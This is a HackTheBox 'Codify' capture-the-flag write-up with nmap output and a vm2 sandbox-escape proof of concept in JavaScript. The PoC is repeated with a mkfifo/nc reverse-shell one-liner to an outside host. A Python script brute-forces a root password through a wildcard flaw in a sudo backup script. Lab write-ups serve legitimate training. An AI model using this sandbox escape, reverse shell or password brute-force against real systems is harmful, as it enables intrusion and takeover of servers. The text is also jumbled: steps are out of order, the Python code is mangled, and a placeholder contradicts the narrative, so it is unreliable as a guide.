← Back to Writeups
HTBEasyMachine

Codify

D3v0o0Nu119/2/20264 min read
#machine#htb#easy#ubuntu

Codify

Platform: HackTheBox | Difficulty: Easy | OS: Ubuntu Author: D3v0o0Nu11 | Date: 2026-02-10 | Status: Solved

Summary

Walkthrough of the HackTheBox machine Codify (Ubuntu, attack surface: Apache httpd 2.4.52 (80), Node.js Express framework (3000), OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0) (22)). Foothold via the vulnerable entry point; privilege escalation via sudo. Both flags captured and redacted.

Recon

Port scan

bash
nmap -p- -sVC 10.10.11.239 --min-rate 1000
PortServiceVersionNotes
22sshOpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80httpApache httpd 2.4.52
3000httpNode.js Express framework

Enumeration highlights

  • Detected OS: Ubuntu.
  • Open services: http (3000), http (80), ssh (22).
  • Scan used: nmap -p- -sVC 10.10.11.239 --min-rate 1000.

Foothold

Vulnerability / Misconfiguration

(No detailed foothold narrative in source writeup.)

Proof

User flag: REDACTED

Privilege Escalation

User -> Root/Admin

from pwn import *

import string import subprocess # to create a new child process.

passw = "" is_found = False

context.log_level = 'INFO'

letter_list = list(string.ascii_letters + string.digits)

print(all)

output:

['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o',

'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D',

'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S',

'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9']

while not is_found: for i in letter_list: cmd = f"echo '{passw}{i}*' | sudo /opt/scripts/mysql-backup.sh" result = subprocess.run(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout

    if "Password confirmed!" in result:
        passw += i
        # log.success(passw)
        print(passw)
        break
else:
    is_found = True

18. Great! Let's switch user to root.

Root flag: `REDACTED`

## Flags
| Flag | Value |
|------|-------|
| user | `REDACTED` |
| root | `REDACTED` |

## Lessons Learned

1. Virtual Machine 2 (VM2) exploitation.
2. Bash script review.
3. Python bruteforce script.

> PORT SCANNNING:

┌──(D3v0o0Nu11㉿htb)-[~] └─$ nmap -p- -sVC 10.10.11.239 --min-rate 1000 Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-18 00:36 PST Warning: 10.10.11.239 giving up on port because retransmission cap hit (10). Nmap scan report for 10.10.11.239 Host is up (0.033s latency). Not shown: 53951 closed tcp ports (conn-refused), 11581 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 96071cc6773e07a0cc6f2419744d570b (ECDSA) |_ 256 0ba4c0cfe23b95aef6f5df7d0c88d6ce (ED25519) 80/tcp open http Apache httpd 2.4.52 |_http-title: Did not follow redirect to http://codify.htb/ |_http-server-header: Apache/2.4.52 (Ubuntu) 3000/tcp open http Node.js Express framework |_http-title: Codify Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 275.72 seconds

4. Based from the nmap results, we can identified that the machine runs a web application, opens ssh login and using node.js framework for the webapp.

5. Reading the **About Us** page, shows us the door to exploit this web app, the `vm2 (virtual machine 2)` vuln.

6. Searching on the internet about vm2 vulns, shall resulting to this:

VM2 --> Is a library that provides a secure and sandboxed environment for executing JavaScript code. Primarily used in server side environments such as Node-JS.

https://www.uptycs.com/blog/exploitable-vm2-vulnerabilities (the newest one --> 2023).

7. Also found a github POC.

https://gist.github.com/leesh3288/REDACTED


```txt
const {VM} = require("vm2");
const vm = new VM();

const code = `
err = {};
const handler = {
    getPrototypeOf(target) {
        (function stack() {
            new Error().stack;
            stack();
        })();
    }
};
  
const proxiedErr = new Proxy(err, handler);
try {
    throw proxiedErr;
} catch ({constructor: c}) {
    c.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');
}
`

console.log(vm.run(code));
  1. To test the POC, we can try by sending --> ls ./

  2. Great it executes our bash command, hence let's put our reverse shell payload there.

succeed payload

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.18 1337 >/tmp/f
txt
const {VM} = require("vm2");
const vm = new VM();

const code = `
err = {};
const handler = {
    getPrototypeOf(target) {
        (function stack() {
            new Error().stack;
            stack();
        })();
    }
};
  
const proxiedErr = new Proxy(err, handler);
try {
    throw proxiedErr;
} catch ({constructor: c}) {
    c.constructor('return process')().mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.18 1337 >/tmp/f');
}
`

console.log(vm.run(code));
  1. Notice that there is a user named joshua and we can't cd there.

  2. Now we need to enumerate dirs and files, our objective should be a config file or .db file.

  3. Long story short, found tickets.db at --> /var/www/contacts.

FOUND JOSHUA CRED

  1. Let's crack the hash using rockyou.